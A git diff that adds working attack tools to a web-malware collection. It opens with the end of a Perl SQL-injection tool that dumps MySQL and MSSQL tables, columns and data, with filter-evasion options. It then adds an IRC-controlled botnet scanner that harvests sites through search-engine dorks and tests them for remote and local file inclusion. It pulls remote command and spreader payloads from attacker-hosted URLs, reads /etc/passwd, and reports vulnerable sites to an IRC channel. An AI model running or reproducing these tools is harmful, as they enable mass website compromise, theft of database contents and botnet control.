open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Data :: ---- \n\n\n"; + $i=0; + foreach(@exttbles) + { + print vuln_file $exttbles[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } +} + +sub mssqlcolumn +{ + my $site = $_[0]; + my $ev = $_[1]; + my $tblextrct = $_[2]; + print "[+] Table To Extract From $tblextrct\n"; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + print "\n[+] Table Extracting, Started Please Wait ....\n\n"; + $data = "'Ws65qd798sqd9878'"; + $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--"; + print "[!] Columns : //// \n\n"; + for ($i;$i<1500;$i++) + { + my $injection = $site.$table ; + my $useragent = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $useragent->get($injection); + my $response = $request->content; + if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) + { + print "[+] ".$1."\n"; + push (@extcols,$1); + $start = "("; + $data .= ",'$1'"; + $end = ")"; + $total = $start.$data.$end; + $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--"; + } + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Data :: ---- \n\n\n"; + $i=0; + foreach(@extcols) + { + print vuln_file $extcols[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } +} + +sub mssqldump +{ + my $site = $_[0]; + my $ev = $_[1]; + my $tblextrct = $_[2]; + my $colmextrct = $_[3]; + print "[+] Table : $tblextrct\n"; + print "[+] Column : $colmextrct\n"; + if ($ev eq '/*') + {$add = "/**/" ; $com = "/*";} + elsif ($ev eq '%20') + {$add = "%20" ; $com = "%00" ;} + else + {$add = '+' ; $com ='--';} + print "\n[+] Table Extracting, Started Please Wait ....\n\n"; + $data = "'Ws65qd798sqd9878'"; + $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--"; + print "[!] Columns : //// \n\n"; + for ($i;$i<1500;$i++) + { + my $injection = $site.$table ; + my $useragent = LWP::UserAgent->new(); + $ua->proxy("http", "http://$proxy/") if defined($proxy); + my $request = $useragent->get($injection); + my $response = $request->content; + if ($response =~ /.*?value\s'(.*?)'\sto.*/sm) + { + print "[+] ".$1."\n"; + push (@dumpdata,$1); + $start = "("; + $data .= ",'$1'"; + $end = ")"; + $total = $start.$data.$end; + $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--"; + } + } + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file "[!] Target : $site\n"; + print vuln_file "[!] evasion : $ev\n"; + print vuln_file "[!] Data :: ---- \n\n\n"; + $i=0; + foreach(@dumpdata) + { + print vuln_file $dumpdata[$i]."\n"; + $i++; + } + close(vuln_file); + print "\n[+] Result Saved to $vulnfile\n"; + } +} + +variables(); +main(); + +if (defined($search_dork)) +{ + print "[+] Vulnerability Scan\n" ; + print "[+] Dork : $search_dork\n\n\n" ; + vulnscanner(); + if (defined($vulnfile)) + { + open(vuln_file,">>$vulnfile") ; + print vuln_file @mysqlvuln; + print vuln_file @mssqlvuln; + print vuln_file @accessvuln; + close(vuln_file); + print "[+] Result Saved to $vulnfile\n"; + exit(); + } +} + +if (defined($mysql_count_target)) +{ + print "[+] MySQL Column Counter\n\n" ; + print "[+] Target : $mysql_count_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqlcount($mysql_count_target,$evasion); +} + +if (defined($mysql_details_target)) +{ + print "[+] MySQL database details\n\n" ; + print "[+] Target : $mysql_details_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqldetails($mysql_details_target,$evasion); +} + +if (defined($mysql_schema_target)) +{ + print "[+] MySQL Schema Extractor details\n\n" ; + print "[+] Target : $mysql_schema_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqlschema($mysql_schema_target,$evasion); +} + +if (defined($mysql_dump_target)) +{ + if (!defined($sql_dump_column)) + { + print "[!] Please Defind At Least A Column\n"; + exit(); + } + elsif (!defined($sql_dump_table)) + { + print "[!] Please Defind Table Name\n"; + exit(); + } + else + { + print "[+] MySQL Data Dumper details\n\n" ; + print "[+] Target : $mysql_dump_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion); + } +} + +if (defined($mysql_fuzz_table)) +{ + if(!defined($word_list)) + { + print "[!] Please Define A list of tables to load\n"; + exit(); + } + else + { + print "[+] MySQL Tables Fuzzer\n\n" ; + print "[+] Target : $mysql_fuzz_table\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list); + } +} + +if (defined($mysql_fuzz_column)) +{ + if(!defined($word_list)) + { + print "[!] Please Define A list of tables to load\n"; + exit(); + } + elsif(!defined($sql_dump_table)) + { + print "[!] Please Define A Table To Fuzz it's Columns\n"; + exit(); + } + else + { + print "[+] MySQL Columns Fuzzer\n\n" ; + print "[+] Target : $mysql_fuzz_column\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table); + } +} + +if (defined($mysql_load_file)) +{ + if(!defined($word_list)) + { + print "[!] Please Define A list of tables to load\n"; + exit(); + } + else + { + print "[+] MySQL Load_File Fuzzer\n\n" ; + print "[+] Target : $mysql_load_file\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mysqlfile($mysql_load_file,$evasion,$word_list); + } +} + +if (defined($mssql_details_target)) +{ + print "[+] MsSQL DB Details\n\n" ; + print "[+] Target : $mssql_details_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mssqldetails($mssql_details_target,$evasion); +} + +if (defined($mssql_table_target)) +{ + print "[+] MsSQL Tables Extractor\n\n" ; + print "[+] Target : $mssql_table_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mssqltable($mssql_table_target,$evasion); +} + +if (defined($mssql_column_target)) +{ + if(!defined($sql_dump_table)) + { + print "[!] Please Defind At Least A Table do Extract from\n"; + exit(); + } + else + { + print "[+] MsSQL Columns Extractor\n\n" ; + print "[+] Target : $mssql_column_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table); + } +} + +if (defined($mssql_dump_target)) +{ + if(!defined($sql_dump_table)) + { + print "[!] Please Defind At Least A Table\n"; + exit(); + } + elsif(!defined($sql_dump_column)) + { + print "[!] Please Defind At Least A Column\n"; + exit(); + } + else + { + print "[+] MsSQL Data Dumper\n\n" ; + print "[+] Target : $mssql_dump_target\n" ; + if ($evasion eq '/*') + { + print "[+] Evasion : /**/\n" ; + } + elsif ($evasion eq '%20') + { + print "[+] Evasion : %20\n" ; + } + else + { + print "[+] Evasion : --\n" ; + $evasion = "--" + } + mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column); + } +} \ No newline at end of file diff --git a/web-malware-collection-master/Bots/Perl/scane.txt b/web-malware-collection-master/Bots/Perl/scane.txt new file mode 100755 index 0000000..5bda517 --- /dev/null +++ b/web-malware-collection-master/Bots/Perl/scane.txt @@ -0,0 +1,766 @@ +#!/usr/bin/perl +# +# Release Name : XxX-SuperScan-XxX +# +# RFi Scanner Christmas Release ! :D +# +# ------------- [% Notes %] ------------- +# This rfi scanner contains piece of code from; PitBull CreW, Mic22, Inphex. +# And also lets just say more version wil come :P +# +# With this release you must be happy since its the best RFi Scanner around. +# And its even public, happy x-mas ! :D +# +# You can also PM the bot with your scan, this is handy when you have loaded multiple scanners. +# +# ------------- [% Basic Commands %] ------------- +# !rfi Bug Dork ( Ex. <The_PitBull> !rfi index.php?page= "index.php?page=" ) Normal RFi Scan +# !lfi Bug Dork ( Ex. <The_PitBull> !lfi index.php?page= "index.php?page=" ) Normal LFi Scan +# +# ------------- [% Special Commands %] ------------- +# !autorfiscan Bug Dork ( Ex. <The_PitBull> !autorfiscan index.php?page= "index.php?page=" ) Auto site: Scan +# !autorfipath Bug Dork ( Ex. <The_PitBull> !autorfipath page= ) Autopath scan like index.php,home.php,contact.php etc. +# !afsluiten ( Ex. <The_PitBull> !afsluiten ) make bot leave +# !info ( Ex. <The_PitBull> !info ) shows info +# +# ------------- [% Version %] ------------- +# 1.0 Stable Public Release +# +# ------------- [% ASC %] ------------- +# Mafia_KB, i hope i pretty fucked up your sell +# asking 2000 fucking euros for a crappy scan ? +# this one is 1000 times better so i hope +# it affects your sell even more lol. +# + + +use HTTP::Request; +use LWP::UserAgent; +use IO::Socket::INET; + +################# +#[Configuration]# +################# +my $response = "http://www.emabe.com/administrator/templates/response.txt??"; # included in zip as response.txt +my $test = "http://www.emabe.com/administrator/templates/test.txt??"; # included in zip as test.txt +my $printcmd = "http://www.yourhost.com/cmd_to_inject.txt??"; +my $responselfi = "/../../../../../../../../etc/passwd"; +my $printcmdlfi = "/../../../../../../../../etc/passwd"; +my $spread = "http://yourhost.com/spreader.txt??"; +my $nickname = "Google|".(int(rand(999))); +my $ident = "RFiBeast"; +my $channel = "#domteam3"; +my $juez = "evil_code"; +my $server = "irc.chatcafe.net"; +my $port = 6667; +################# +#[Configuration]# +################# + +my $sock; +my $exploitcounter = 100; +my @User_Agent = &Agent(); +my $pid = fork(); +if($pid==0){ + &connectirc($nickname,$ident,$channel,$server,$port); +}else{ + exit(0); +} + +sub connectirc(){ + my($nickname,$ident,$channel,$server,$port)=@_; + $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server",PeerPort=>$port); + $sock->autoflush(1); + print $sock "NICK ".$nickname."\r\n"; + print $sock "USER ".$ident." 8 * : PitBull CreW\r\n"; + print $sock "JOIN ".$channel."\r\n"; + while( $command = <$sock> ){ + + + + +if($command =~ /\!rfi\s+(.*?)\s+(.*)/){ + if(fork() == 0){ + my($bug,$dork)=($1,$2); + &scan($bug,$dork); + exit(0); + } +} + + +if($command =~ /\!autorfiscan\s+(.*?)\s+(.*)/){ + if(fork() == 0){ + my($bug,$dork)=($1,$2); + &autoscan($bug,$dork); + exit(0); + } +} + +if($command =~ /\!autorfipath\s+(.*)/){ + if(fork() == 0){ + my($dork)=($1); + &autopath($dork); + exit(0); + } +} + +if($command =~ /\!lfi\s+(.*?)\s+(.*)/){ + if(fork() == 0){ + my($bug,$dork)=($1,$2); + &lfi($bug,$dork); + exit(0); + } +} + + +if($command =~ /\!info/){ + &message($channel,"4[i] 12Public Scanner from -> 2 PitBull CreW "); + &message($channel,"4[i] 12Use for each command -> 2 !"); + &message($channel,"4[i] 12Commands -> 2 rfi string dork "); + &message($channel,"4[i] 12Commands -> 2 autorfiscan string dork "); + &message($channel,"4[i] 12Commands -> 2 autorfipath inject "); + &message($channel,"4[i] 12Commands -> 2 lfi string dork "); +} + +if($command =~ /\!exit/){ + exit(0); +} + + +if($command =~ /\!afsluiten/){ + exit(0); +} + + +if($command =~ /^PING \:(.*)/){ + print $sock "PONG :$1"; +} +} +} + + +sub scan(){ + my($bug,$dork)=@_; + $dork =~ s/[\r\n]//g; + my $counter = 0; + &message($channel,"4[+] 12Scanner Started for -> 2".$dork); + &Find($dork); + &Test($bug); + &message($channel,"4[+] 12Scanner Finished for -> 2".$dork); +} + +sub lfi(){ + my($bug,$dork)=@_; + $dork =~ s/[\r\n]//g; + my $counter = 0; + &message($channel,"4[+] 12LFI Scanner Started for -> 2".$dork); + &Find($dork); + &Testlfi($bug); + &message($channel,"4[+] 12Scanner Finished for -> 2".$dork); +} + +sub autoscan(){ + my @domini = &SiteDomains(); + my($bug,$dork)=@_; + $dork =~ s/[\r\n]//g; + &message($channel,"4[+] 12Auto-Dork-Scanner Started for -> 2".$dork); + if($dork =~ /site:/){ + &message($channel,"4[-] 12There was a error while starting the AutoScan"); + exit(0); + } + foreach my $Domains(@domini){ + my $auto_dork = $dork."+site:".$Domains; + &message($channel,"4[+] 12Adding AutoDork ->".$auto_dork); + &Find($auto_dork); + &Test($bug); + &message($channel,"4[+] 12Scanner Finished for -> 2".$dork); + } +} + + +sub autopath(){ + my @path = &Paths(); + my($dork)=@_; + $dork =~ s/[\r\n]//g; + &message($channel,"4[+] 12Auto-Path-Scanner Started for -> 2".$dork); + if($dork =~ /index/){ + &message($channel,"4[-] 12There was a error while starting the AutoPath scan"); + exit(0); + } + foreach my $pathi(@path){ + my $auto_path = $pathi.$dork; + &message($channel,"4[+] 12Adding AutoPath -> 2 ".$auto_path); + &Find($auto_path); + &Test($auto_path); + &message($channel,"4[+] 12Scanner Finished for -> 2".auto_path); + } +} + +sub Test(){ + my $counter = 0; + my $bug = $_[0]; + my @links = &GetLink(); + my @forks; + my $forked++; + &message($channel,"4[+] 12Total Sites ->2 ".scalar(@links)); + my @uni = &Unique(@links); + &message($channel,"4[+] 12Cleaned Sites ->2 ".scalar(@uni)); + &Remove(); + my $testx = scalar(@uni); + my $startx = 0; + foreach my $site (@uni){ + $counter++; + my $link = "http://".$site.$bug.$test."?"; + my $responser = "http://".$site.$bug.$response."?"; + &message($juez,"http://".$site); + wait; + print "Finaliza el proceso hijo<br>"; + sleep(3); + print "Hemos esperado 10 segundos en el padre<br>"; + +# print($link."\n"); # Prints test links in terminal + if($counter %$exploitcounter == 0){ + my $start = 0; + foreach my $f(@forks){ + waitpid($f,0); + $forks[$start--]; + $start++; + } + $startx = 0; + } + $forks[$startx]=fork(); + if($forks[$startx] == 0){ + my $htmlsite = &Query($link,"3"); + if($htmlsite =~ /SafemodeOFF/){ + my $responsing = &Query($responser,"3"); + if($responsing =~ /SafeOFF/){ + &message($channel,"4[!] 12Vuln Founded with SafeMode 3OFF12 ->2 "."http://".$site.$bug.$printcmd); + }} + elsif($htmlsite =~ /SafemodeON/){ + &message($channel,"4[!] 12Vuln Founded with SafeMode 4ON12 ->2 "."http://".$site.$bug.$printcmd); + } + exit(0); + } + if($counter %150 == 0){ + &message($channel,"4[*] 12Exploiting ->2 ".$counter." out of ".$testx); + } + $startx++; + } + my $start = 0; + foreach my $f(@forks){ + waitpid($f,0); + $forks[$start--]; + $start++; + } +} + +sub Testlfi(){ + my $counter = 0; + my $bug = $_[0]; + my @links = &GetLink(); + my @forks; + my $forked++; + &message($channel,"4[+] 12Total Sites ->2 ".scalar(@links)); + my @uni = &Unique(@links); + &message($channel,"4[+] 12Cleaned Sites ->2 ".scalar(@uni)); + &Remove(); + my $testx = scalar(@uni); + my $startx = 0; + foreach my $site (@uni){ + $counter++; + my $link = "http://".$site.$bug.$responselfi; + print($link."\n"); # Prints test links in terminal + if($counter %$exploitcounter == 0){ + my $start = 0; + foreach my $f(@forks){ + waitpid($f,0); + $forks[$start--]; + $start++; + } + $startx = 0; + } + $forks[$startx]=fork(); + if($forks[$startx] == 0){ + my $htmlsite = &Query($link,"3"); + if($htmlsite =~ /root:x:/){ + &message($channel,"4[!] 12LFI ->2 "."http://".$site.$bug.$printcmdlfi); + } + exit(0); + } + if($counter %150 == 0){ + &message($channel,"4[*] 12Exploiting ->2 ".$counter." out of ".$testx); + } + $startx++; + } + my $start = 0; + foreach my $f(@forks){ + waitpid($f,0); + $forks[$start--]; + $start++; + } +} + +sub Find(){ + my $dork = $_[0]; + my @proc; + $proc[0] = fork(); + if($proc[0] == 0){ + &message($channel,"4[*] 12Google ->2 ".scalar(&Google($dork))); + exit; + } + $proc[1] = fork(); + if($proc[1] == 0){ + &message($channel,"4[*] 12Yahoo ->2 ".scalar(&Yahoo($dork))); + exit; + } + $proc[2] = fork(); + if($proc[2] == 0){ + &message($channel,"4[*] 12Abacho ->2 ".scalar(&Abacho($dork))); + exit; + } + $proc[3] = fork(); + if($proc[3] == 0){ + &message($channel,"4[*] 12GigaBlast ->2 ".scalar(&Gigablast($dork))); + exit; + } + $proc[4] = fork(); + if($proc[4] == 0){ + &message($channel,"4[*] 12MSN ->2 ".scalar(&MSN($dork))); + exit; + } + $proc[5] = fork(); + if($proc[5] == 0){ + &message($channel,"4[*] 12AOL ->2 ".scalar(&Aol($dork))); + exit; + } + $proc[6] = fork(); + if($proc[6] == 0){ + &message($channel,"4[*] 12Seekport ->2 ".scalar(&Seekport($dork))); + exit; + } + $proc[7] = fork(); + if($proc[7] == 0){ + &message($channel,"4[*] 12AllTheWeb ->2 ".scalar(&Alltheweb($dork))); + exit; + } + $proc[8] = fork(); + if($proc[8] == 0){ + &message($channel,"4[*] 12Virgilio ->2 ".scalar(&Virgilio($dork))); + exit; + } + $proc[9] = fork(); + if($proc[9] == 0){ + &message($channel,"4[*] 12UOL ->2 ".scalar(&UOL($dork))); + exit; + } + + waitpid($proc[0],0); + waitpid($proc[1],0); + waitpid($proc[2],0); + waitpid($proc[3],0); + waitpid($proc[4],0); + waitpid($proc[5],0); + waitpid($proc[6],0); + waitpid($proc[7],0); + waitpid($proc[8],0); + waitpid($proc[9],0); +} + +sub message(){ + my ($who,$what)=@_; + print $sock "PRIVMSG ".$who." :".$what."\r\n"; +} + +sub Google(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=100; + my $max=10*10; + my @dom = &GoogleDomains(); + my $file = "google.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + my $Domains = $dom[rand(scalar(@dom))]; + $html.=&Query("http://www.google.".$Domains."/search?q=".$dork."&num=".$num."&sa=N&filter=0&start=".$start); + } + while($html =~ m/<h3 class=r><a href=\"http:\/\/(.+?)\"\ class/g){ + $1 =~ /google/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub Yahoo(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=100; + my $max=100*10; + my $file = "yahoo.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=".$num."&start=".$start); + } + while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g){ + $1 =~ /yahoo/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub Abacho(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=10; + my $max=100*10; + my $file = "abacho.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://search.abacho.com/de/abacho.de/index.cfm?offset=".$start."&q=".$dork); + } + while($html =~ m/ target=\"_blank\">http:\/\/([^>\"]*)\//g){ + if($1 !~ /abacho/){ + push(@result,&Links($1,$file)); + } + } + return(@result); +} + +sub Gigablast(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $max=1000*100; + my $file = "gigablast.txt"; + my $html; + my @result; + $html.=&Query("http://www.gigablast.com/search?q=".$dork."&n=".$max); + while($html =~ m/<span class=\"url\">(.+?)\<\/span>/g){ + push(@result,&Links($1,$file)); + } + return(@result); +} + +sub MSN(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=100; + my $max=1000*10; + my $file = "msn.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://search.live.com/results.aspx?q=".$dork."&first==".$start."&FORM=PERE"); + } + while($html =~ m/a href=\"http:\/\/(.+?)\" class/g){ + $1 =~ /msn|live/ || push(@result,&Links($1,$file)); + } + return(@result); +} + + +sub Virgilio(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=10; + my $max=100*10; + my $file = "virgilio.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://search.alice.it/search/cgi/search.cgi?qs=".$dork."&dom=s&site=&filter=1&lr=&hits=10&offset=".$start/$num); + } + while($html =~ m/\"><a href=\"?http:\/\/(.+?)\" class=/g ){ + $1 =~ /google/ || push(@result,&Links($3,$file)); + } + return(@result); +} + + +sub Seekport(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=100; + my $max=100*10; + my $file = "seekport.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://www.seekport.com/q?xml=1&dt=0&cpics=&prev=0&www=on&query=".$dork."+&domain=all&showscopes=on&numresults=100&pl=1&firstresult=".$start/$num); + } + while($html =~ m/<a href=\"?http:\/\/(.+?)\">/g ){ + $1 =~ /seekport|infospace/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub Alltheweb(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=100; + my $max=100*10; + my $file = "alltheweb.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://www.alltheweb.com/search?advanced=1&cat=web&type=all&hits=".$num."&ocjp=1&q=".$dork."&o=".$start); + } + while($html =~ m/<span class=\"resURL\">http:\/\/(.+?)\ /g){ + $1 =~ /alltheweb/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub Aol(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=20; + my $max=100*10; + my $file = "aol.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://search.aol.com/aol/search?query=".$dork."&safesearch=0&count_override=".$num."&page=".$start/$num); + } + while($html =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){ + $1 =~ /aol/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub UOL(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=20; + my $max=100*10; + my $file = "UOL.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://busca.uol.com.br/www/index.html?q=".$dork."&start=".$start); + } + while($html =~ m/<a href=\"http:\/\/([^>\"]*)/g){ + $1 =~ /busca|uol|yahoo/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub AltaVista(){ + my($dork)=@_; + $dork=&Key($dork); + my $start; + my $num=20; + my $max=1000*10; + my $file = "AltaVista.txt"; + my $html; + my @result; + for($start=0;$start < $max; $start += $num){ + $html.=&Query("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".$dork."&stq=".$start); + } + while($html =~ m/<span class=ngrn>(.+?)\//g){ + $1 =~ /altavista/ || push(@result,&Links($1,$file)); + } + return(@result); +} + +sub Query(){ + my($link,$timeout)=@_; + my $req=HTTP::Request->new(GET=>$link); + my $ua=LWP::UserAgent->new(); + $ua->agent($User_Agent[rand(scalar(@User_Agent))]); + $ua->timeout($timeout); + my $response=$ua->request($req); + return $response->content; +} + +sub Key(){ + my $key=$_[0]; + $key =~ s/ /\+/g; + $key =~ s/:/\%3A/g; + $key =~ s/\//\%2F/g; + $key =~ s/&/\%26/g; + $key =~ s/\"/\%22/g; + $key =~ s/\\/\%5C/g; + $key =~ s/,/\%2C/g; + return $key; +} + +sub GetLink(){ + my @file = ("google.txt","yahoo.txt","abacho.txt","gigablast.txt","msn.txt","virgilio.txt","seekport.txt","alltheweb.txt","aol.txt","UOL.txt"); + my $link; + my @total; + foreach my $n (@file){ + open(F,'<',$n); + while($link = <F>){ + $link=~s/[\r\n]//g; + push(@total,$link); + } + close(F); + } + return(@total); +} + +sub Remove(){ + my @file = ("google.txt","yahoo.txt","abacho.txt","gigablast.txt","msn.txt","virgilio.txt","seekport.txt","alltheweb.txt","aol.txt","UOL.txt"); + foreach my $n (@file){ + system("rm -rf ".$n); + } +} + +sub Links(){ + my ($link,$file_print) = @_; + $link=~s/http:\/\///g; + my $host = $link; + my $host_dir = $host; + my @links; + $host_dir=~s/(.*)\/[^\/]*$/\1/; + $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/; + $host_dir=&End($host_dir); + $host=&End($host); + $link=&End($host); + push(@links,$link,$host,$host_dir); + open($file,'>>',$file_print); + print $file "$link\n$host_dir\n$host\n"; + close($file); + return @links; +} + +sub End(){ + $string=$_[0]; + $string.="/"; + $string=~s/\/\//\//; + while($string=~/\/\//){ + $string=~s/\/\//\//; + } + return($string); +} + +sub Unique{ + my @Unique = (); + my %seen = (); + foreach my $element ( @_ ){ + next if $seen{ $element }++; + push @Unique, $element; + } + return @Unique; +} + +sub Agent(){ + my @ret = ( + "Microsoft Internet Explorer/4.0b1 (Windows 95)", + "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)", + "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)", + "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)", + "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)", + "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)", + "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)", + "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", + "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)", + "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", + "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)", + "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", + "Microsoft Pocket Internet Explorer/0.6", + "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)", + "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;", + "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)", + "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)", + "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)", + "Advanced Browser (http://www.avantbrowser.com)", + "Avant Browser (http://www.avantbrowser.com)", + "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)", + "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)", + "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)", + "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007", + "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511", + "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0", + "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox", + "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4", + "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5", + "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6", + "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 